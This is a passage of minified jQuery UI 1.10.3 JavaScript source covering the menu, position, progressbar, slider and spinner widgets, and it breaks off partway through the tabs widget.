e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this.active.children(".ui-menu ").children(".ui-menu-item").first();e&&e.length&&(this._open(e.parent()),this._delay(function(){this.focus(t,e)}))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(t,e,i){var s;this.active&&(s="first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[t+"All"](".ui-menu-item").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.children(".ui-menu-item")[e]()),this.focus(i,s)},nextPage:function(e){var i,s,n;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.nextAll(".ui-menu-item").each(function(){return i=t(this),0>i.offset().top-s-n}),this.focus(e,i)):this.focus(e,this.activeMenu.children(".ui-menu-item")[this.active?"last":"first"]())),undefined):(this.next(e),undefined)},previousPage:function(e){var i,s,n;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.prevAll(".ui-menu-item").each(function(){return i=t(this),i.offset().top-s+n>0}),this.focus(e,i)):this.focus(e,this.activeMenu.children(".ui-menu-item").first())),undefined):(this.next(e),undefined)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||t(e.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,i)}})}(jQuery),function(t,e){function i(t,e,i){return[parseFloat(t[0])*(p.test(t[0])?e/100:1),parseFloat(t[1])*(p.test(t[1])?i/100:1)]}function s(e,i){return parseInt(t.css(e,i),10)||0}function n(e){var i=e[0];return 9===i.nodeType?{width:e.width(),height:e.height(),offset:{top:0,left:0}}:t.isWindow(i)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:i.preventDefault?{width:0,height:0,offset:{top:i.pageY,left:i.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()}}t.ui=t.ui||{};var o,a=Math.max,r=Math.abs,h=Math.round,l=/left|center|right/,c=/top|center|bottom/,u=/[\+\-]\d+(\.[\d]+)?%?/,d=/^\w+/,p=/%$/,f=t.fn.position;t.position={scrollbarWidth:function(){if(o!==e)return o;var i,s,n=t("<div style='display:block;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),a=n.children()[0];return t("body").append(n),i=a.offsetWidth,n.css("overflow","scroll"),s=a.offsetWidth,i===s&&(s=n[0].clientWidth),n.remove(),o=i-s},getScrollInfo:function(e){var i=e.isWindow?"":e.element.css("overflow-x"),s=e.isWindow?"":e.element.css("overflow-y"),n="scroll"===i||"auto"===i&&e.width<e.element[0].scrollWidth,o="scroll"===s||"auto"===s&&e.height<e.element[0].scrollHeight;return{width:o?t.position.scrollbarWidth():0,height:n?t.position.scrollbarWidth():0}},getWithinInfo:function(e){var i=t(e||window),s=t.isWindow(i[0]);return{element:i,isWindow:s,offset:i.offset()||{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:s?i.width():i.outerWidth(),height:s?i.height():i.outerHeight()}}},t.fn.position=function(e){if(!e||!e.of)return f.apply(this,arguments);e=t.extend({},e);var o,p,g,m,v,_,b=t(e.of),y=t.position.getWithinInfo(e.within),w=t.position.getScrollInfo(y),k=(e.collision||"flip").split(" "),x={};return _=n(b),b[0].preventDefault&&(e.at="left top"),p=_.width,g=_.height,m=_.offset,v=t.extend({},m),t.each(["my","at"],function(){var t,i,s=(e[this]||"").split(" ");1===s.length&&(s=l.test(s[0])?s.concat(["center"]):c.test(s[0])?["center"].concat(s):["center","center"]),s[0]=l.test(s[0])?s[0]:"center",s[1]=c.test(s[1])?s[1]:"center",t=u.exec(s[0]),i=u.exec(s[1]),x[this]=[t?t[0]:0,i?i[0]:0],e[this]=[d.exec(s[0])[0],d.exec(s[1])[0]]}),1===k.length&&(k[1]=k[0]),"right"===e.at[0]?v.left+=p:"center"===e.at[0]&&(v.left+=p/2),"bottom"===e.at[1]?v.top+=g:"center"===e.at[1]&&(v.top+=g/2),o=i(x.at,p,g),v.left+=o[0],v.top+=o[1],this.each(function(){var n,l,c=t(this),u=c.outerWidth(),d=c.outerHeight(),f=s(this,"marginLeft"),_=s(this,"marginTop"),D=u+f+s(this,"marginRight")+w.width,C=d+_+s(this,"marginBottom")+w.height,I=t.extend({},v),P=i(x.my,c.outerWidth(),c.outerHeight());"right"===e.my[0]?I.left-=u:"center"===e.my[0]&&(I.left-=u/2),"bottom"===e.my[1]?I.top-=d:"center"===e.my[1]&&(I.top-=d/2),I.left+=P[0],I.top+=P[1],t.support.offsetFractions||(I.left=h(I.left),I.top=h(I.top)),n={marginLeft:f,marginTop:_},t.each(["left","top"],function(i,s){t.ui.position[k[i]]&&t.ui.position[k[i]][s](I,{targetWidth:p,targetHeight:g,elemWidth:u,elemHeight:d,collisionPosition:n,collisionWidth:D,collisionHeight:C,offset:[o[0]+P[0],o[1]+P[1]],my:e.my,at:e.at,within:y,elem:c})}),e.using&&(l=function(t){var i=m.left-I.left,s=i+p-u,n=m.top-I.top,o=n+g-d,h={target:{element:b,left:m.left,top:m.top,width:p,height:g},element:{element:c,left:I.left,top:I.top,width:u,height:d},horizontal:0>s?"left":i>0?"right":"center",vertical:0>o?"top":n>0?"bottom":"middle"};u>p&&p>r(i+s)&&(h.horizontal="center"),d>g&&g>r(n+o)&&(h.vertical="middle"),h.important=a(r(i),r(s))>a(r(n),r(o))?"horizontal":"vertical",e.using.call(this,t,h)}),c.offset(t.extend(I,{using:l}))})},t.ui.position={fit:{left:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollLeft:s.offset.left,o=s.width,r=t.left-e.collisionPosition.marginLeft,h=n-r,l=r+e.collisionWidth-o-n;e.collisionWidth>o?h>0&&0>=l?(i=t.left+h+e.collisionWidth-o-n,t.left+=h-i):t.left=l>0&&0>=h?n:h>l?n+o-e.collisionWidth:n:h>0?t.left+=h:l>0?t.left-=l:t.left=a(t.left-r,t.left)},top:function(t,e){var i,s=e.within,n=s.isWindow?s.scrollTop:s.offset.top,o=e.within.height,r=t.top-e.collisionPosition.marginTop,h=n-r,l=r+e.collisionHeight-o-n;e.collisionHeight>o?h>0&&0>=l?(i=t.top+h+e.collisionHeight-o-n,t.top+=h-i):t.top=l>0&&0>=h?n:h>l?n+o-e.collisionHeight:n:h>0?t.top+=h:l>0?t.top-=l:t.top=a(t.top-r,t.top)}},flip:{left:function(t,e){var i,s,n=e.within,o=n.offset.left+n.scrollLeft,a=n.width,h=n.isWindow?n.scrollLeft:n.offset.left,l=t.left-e.collisionPosition.marginLeft,c=l-h,u=l+e.collisionWidth-a-h,d="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,p="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,f=-2*e.offset[0];0>c?(i=t.left+d+p+f+e.collisionWidth-a-o,(0>i||r(c)>i)&&(t.left+=d+p+f)):u>0&&(s=t.left-e.collisionPosition.marginLeft+d+p+f-h,(s>0||u>r(s))&&(t.left+=d+p+f))},top:function(t,e){var i,s,n=e.within,o=n.offset.top+n.scrollTop,a=n.height,h=n.isWindow?n.scrollTop:n.offset.top,l=t.top-e.collisionPosition.marginTop,c=l-h,u=l+e.collisionHeight-a-h,d="top"===e.my[1],p=d?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,f="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,g=-2*e.offset[1];0>c?(s=t.top+p+f+g+e.collisionHeight-a-o,t.top+p+f+g>c&&(0>s||r(c)>s)&&(t.top+=p+f+g)):u>0&&(i=t.top-e.collisionPosition.marginTop+p+f+g-h,t.top+p+f+g>u&&(i>0||u>r(i))&&(t.top+=p+f+g))}},flipfit:{left:function(){t.ui.position.flip.left.apply(this,arguments),t.ui.position.fit.left.apply(this,arguments)},top:function(){t.ui.position.flip.top.apply(this,arguments),t.ui.position.fit.top.apply(this,arguments)}}},function(){var e,i,s,n,o,a=document.getElementsByTagName("body")[0],r=document.createElement("div");e=document.createElement(a?"div":"body"),s={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},a&&t.extend(s,{position:"absolute",left:"-1000px",top:"-1000px"});for(o in s)e.style[o]=s[o];e.appendChild(r),i=a||document.documentElement,i.insertBefore(e,i.firstChild),r.style.cssText="position: absolute; left: 10.7432222px;",n=t(r).offset().left,t.support.offsetFractions=n>10&&11>n,e.innerHTML="",i.removeChild(e)}()}(jQuery),function(t,e){t.widget("ui.progressbar",{version:"1.10.3",options:{max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min}),this.valueDiv=t("<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>").appendTo(this.element),this._refreshValue()},_destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.valueDiv.remove()
},value:function(t){return t===e?this.options.value:(this.options.value=this._constrainedValue(t),this._refreshValue(),e)},_constrainedValue:function(t){return t===e&&(t=this.options.value),this.indeterminate=t===!1,"number"!=typeof t&&(t=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,t))},_setOptions:function(t){var e=t.value;delete t.value,this._super(t),this.options.value=this._constrainedValue(e),this._refreshValue()},_setOption:function(t,e){"max"===t&&(e=Math.max(this.min,e)),this._super(t,e)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var e=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||e>this.min).toggleClass("ui-corner-right",e===this.options.max).width(i.toFixed(0)+"%"),this.element.toggleClass("ui-progressbar-indeterminate",this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=t("<div class='ui-progressbar-overlay'></div>").appendTo(this.valueDiv))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":e}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==e&&(this.oldValue=e,this._trigger("change")),e===this.options.max&&this._trigger("complete")}})}(jQuery),function(t){var e=5;t.widget("ui.slider",t.ui.mouse,{version:"1.10.3",widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget"+" ui-widget-content"+" ui-corner-all"),this._refresh(),this._setOption("disabled",this.options.disabled),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,i,s=this.options,n=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),o="<a class='ui-slider-handle ui-state-default ui-corner-all' href='#'></a>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e)})},_createRange:function(){var e=this.options,i="";e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?this.range.removeClass("ui-slider-range-min ui-slider-range-max").css({left:"",bottom:""}):(this.range=t("<div></div>").appendTo(this.element),i="ui-slider-range ui-widget-header ui-corner-all"),this.range.addClass(i+("min"===e.range||"max"===e.range?" ui-slider-range-"+e.range:""))):this.range=t([])},_setupEvents:function(){var t=this.handles.add(this.range).filter("a");this._off(t),this._on(t,this._handleEvents),this._hoverable(t),this._focusable(t)},_destroy:function(){this.handles.remove(),this.range.remove(),this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all"),this._mouseDestroy()},_mouseCapture:function(e){var i,s,n,o,a,r,h,l,c=this,u=this.options;return u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,o.addClass("ui-state-active").focus(),h=o.offset(),l=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:e.pageX-h.left-o.width()/2,top:e.pageY-h.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return this.handles.removeClass("ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_start:function(t,e){var i={handle:this.handles[e],value:this.value()};return this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._trigger("start",t,i)},_slide:function(t,e,i){var s,n,o;this.options.values&&this.options.values.length?(s=this.values(e?0:1),2===this.options.values.length&&this.options.range===!0&&(0===e&&i>s||1===e&&s>i)&&(i=s),i!==this.values(e)&&(n=this.values(),n[e]=i,o=this._trigger("slide",t,{handle:this.handles[e],value:i,values:n}),s=this.values(e?0:1),o!==!1&&this.values(e,i,!0))):i!==this.value()&&(o=this._trigger("slide",t,{handle:this.handles[e],value:i}),o!==!1&&this.value(i))},_stop:function(t,e){var i={handle:this.handles[e],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._trigger("stop",t,i)},_change:function(t,e){if(!this._keySliding&&!this._mouseSliding){var i={handle:this.handles[e],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._lastChangedValue=e,this._trigger("change",t,i)}},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),undefined):this._value()},values:function(e,i){var s,n,o;if(arguments.length>1)return this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),undefined;if(!arguments.length)return this._values();if(!t.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),t.Widget.prototype._setOption.apply(this,arguments),e){case"orientation":this._detectOrientation(),this.element.removeClass("ui-slider-horizontal ui-slider-vertical").addClass("ui-slider-"+this.orientation),this._refreshValue();break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=0;n>s;s+=1)this._change(null,s);this._animateOff=!1;break;case"min":case"max":this._animateOff=!0,this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i,s;if(arguments.length)return e=this.options.values[t],e=this._trimAlignValue(e);if(this.options.values&&this.options.values.length){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return 2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var e,i,s,n,o,a=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,c={};this.options.values&&this.options.values.length?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),c["horizontal"===h.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[l?"animate":"css"](c,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range[l?"animate":"css"]({width:100-i+"%"},{queue:!1,duration:r.animate}),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range[l?"animate":"css"]({height:100-i+"%"},{queue:!1,duration:r.animate}))},_handleEvents:{keydown:function(i){var s,n,o,a,r=t(i.target).data("ui-slider-handle-index");switch(i.keyCode){case t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(i.preventDefault(),!this._keySliding&&(this._keySliding=!0,t(i.target).addClass("ui-state-active"),s=this._start(i,r),s===!1))return}switch(a=this.options.step,n=o=this.options.values&&this.options.values.length?this.values(r):this.value(),i.keyCode){case t.ui.keyCode.HOME:o=this._valueMin();break;case t.ui.keyCode.END:o=this._valueMax();break;case t.ui.keyCode.PAGE_UP:o=this._trimAlignValue(n+(this._valueMax()-this._valueMin())/e);break;case t.ui.keyCode.PAGE_DOWN:o=this._trimAlignValue(n-(this._valueMax()-this._valueMin())/e);break;case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:if(n===this._valueMax())return;o=this._trimAlignValue(n+a);break;case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(n===this._valueMin())return;o=this._trimAlignValue(n-a)}this._slide(i,r,o)},click:function(t){t.preventDefault()},keyup:function(e){var i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),t(e.target).removeClass("ui-state-active"))}}})}(jQuery),function(t){function e(t){return function(){var e=this.element.val();t.apply(this,arguments),this._refresh(),e!==this.element.val()&&this._trigger("change")}}t.widget("ui.spinner",{version:"1.10.3",defaultElement:"<input>",widgetEventPrefix:"spin",options:{culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var e={},i=this.element;return t.each(["min","max","step"],function(t,s){var n=i.attr(s);void 0!==n&&n.length&&(e[s]=n)}),e},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t),void 0)},mousewheel:function(t,e){if(e){if(!this.spinning&&!this._start(t))return!1;this._spin((e>0?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(e){function i(){var t=this.element[0]===this.document[0].activeElement;t||(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===this.document[0].activeElement?this.previous:this.element.val(),e.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(e)!==!1&&this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(e){return t(e.currentTarget).hasClass("ui-state-active")?this._start(e)===!1?!1:(this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e),void 0):void 0},"mouseleave .ui-spinner-button":"_stop"},_draw:function(){var t=this.uiSpinner=this.element.addClass("ui-spinner-input").attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml());this.element.attr("role","spinbutton"),this.buttons=t.find(".ui-spinner-button").attr("tabIndex",-1).button().removeClass("ui-corner-all"),this.buttons.height()>Math.ceil(.5*t.height())&&t.height()>0&&t.height(t.height()),this.options.disabled&&this.disable()},_keydown:function(e){var i=this.options,s=t.ui.keyCode;switch(e.keyCode){case s.UP:return this._repeat(null,1,e),!0;case s.DOWN:return this._repeat(null,-1,e),!0;case s.PAGE_UP:return this._repeat(null,i.page,e),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,e),!0}return!1},_uiSpinnerHtml:function(){return"<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>"},_buttonHtml:function(){return"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'><span class='ui-icon "+this.options.icons.up+"'>&#9650;</span>"+"</a>"+"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>"+"<span class='ui-icon "+this.options.icons.down+"'>&#9660;</span>"+"</a>"},_start:function(t){return this.spinning||this._trigger("start",t)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(t,e,i){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,e,i)},t),this._spin(e*this.options.step,i)},_spin:function(t,e){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+t*this._increment(this.counter)),this.spinning&&this._trigger("spin",e,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(e){var i=this.options.incremental;return i?t.isFunction(i)?i(e):Math.floor(e*e*e/5e4-e*e/500+17*e/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_adjustValue:function(t){var e,i,s=this.options;return e=null!==s.min?s.min:0,i=t-e,i=Math.round(i/s.step)*s.step,t=e+i,t=parseFloat(t.toFixed(this._precision())),null!==s.max&&t>s.max?s.max:null!==s.min&&s.min>t?s.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,e){if("culture"===t||"numberFormat"===t){var i=this._parse(this.element.val());return this.options[t]=e,this.element.val(this._format(i)),void 0}("max"===t||"min"===t||"step"===t)&&"string"==typeof e&&(e=this._parse(e)),"icons"===t&&(this.buttons.first().find(".ui-icon").removeClass(this.options.icons.up).addClass(e.up),this.buttons.last().find(".ui-icon").removeClass(this.options.icons.down).addClass(e.down)),this._super(t,e),"disabled"===t&&(e?(this.element.prop("disabled",!0),this.buttons.button("disable")):(this.element.prop("disabled",!1),this.buttons.button("enable")))},_setOptions:e(function(t){this._super(t),this._value(this.element.val())}),_parse:function(t){return"string"==typeof t&&""!==t&&(t=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t),""===t||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},_value:function(t,e){var i;""!==t&&(i=this._parse(t),null!==i&&(e||(i=this._adjustValue(i)),t=this._format(i))),this.element.val(t),this._refresh()},_destroy:function(){this.element.removeClass("ui-spinner-input").prop("disabled",!1).removeAttr("autocomplete").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:e(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:e(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:e(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:e(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){return arguments.length?(e(this._value).call(this,t),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}})}(jQuery),function(t,e){function i(){return++n}function s(t){return t.hash.length>1&&decodeURIComponent(t.href.replace(o,""))===decodeURIComponent(location.href.replace(o,""))}var n=0,o=/#.*$/;t.widget("ui.tabs",{version:"1.10.3",delay:300,options:{active:null,collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_create:function(){var e=this,i=this.options;this.running=!1,this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all").toggleClass("ui-tabs-collapsible",i.collapsible).delegate(".ui-tabs-nav > li","mousedown"+this.eventNamespace,function(e){t(this).is(".ui-state-disabled")&&e.preventDefault()}).delegate(".ui-tabs-anchor","focus"+this.eventNamespace,function(){t(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this._processTabs(),i.active=this._initialActive(),t.isArray(i.disabled)&&(i.disabled=t.unique(i.disabled.concat(t.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):t(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var i=this.options.active,s=this.options.collapsible,n=location.hash.substring(1);return null===i&&(n&&this.tabs.each(function(s,o){return t(o).attr("aria-controls")===n?(i=s,!1):e}),null===i&&(i=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===i||-1===i)&&(i=this.tabs.length?0:!1)),i!==!1&&(i=this.tabs.index(this.tabs.eq(i)),-1===i&&(i=s?!1:0)),!s&&i===!1&&this.anchors.length&&(i=0),i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):t()}},_tabKeydown:function(i){var s=t(this.document[0].activeElement).closest("li"),n=this.tabs.index(s),o=!0;if(!this._handlePageNav(i)){switch(i.keyCode){case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:n++;break;case t.ui.keyCode.UP:case t.ui.keyCode.LEFT:o=!1,n--;break;case t.ui.keyCode.END:n=this.anchors.length-1;break;case t.ui.keyCode.HOME:n=0;break;case t.ui.keyCode.SPACE:return i.preventDefault(),clearTimeout(this.activating),this._activate(n),e;case t.ui.keyCode.ENTER:return i.preventDefault(),clearTimeout(this.activating),this._activate(n===this.options.active?!1:n),e;default:return}i.preventDefault(),clearTimeout(this.activating),n=this._focusNextTab(n,o),i.ctrlKey||(s.attr("aria-selected","false"),this.tabs.eq(n).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",n)},this.delay))}},_panelKeydown:function(e){this._handlePageNav(e)||e.ctrlKey&&e.keyCode===t.ui.keyCode.UP&&(e.preventDefault(),this.active.focus())},_handlePageNav:function(i){return i.altKey&&i.keyCode===t.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):i.altKey&&i.keyCode===t.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):e},_findNextTab:function(e,i){function s(){return e>n&&(e=0),0>e&&(e=n),e}for(var n=this.tabs.length-1;-1!==t.inArray(s(),this.options.disabled);)e=i?e+1:e-1;return e},_focusNextTab:function(t,e){return 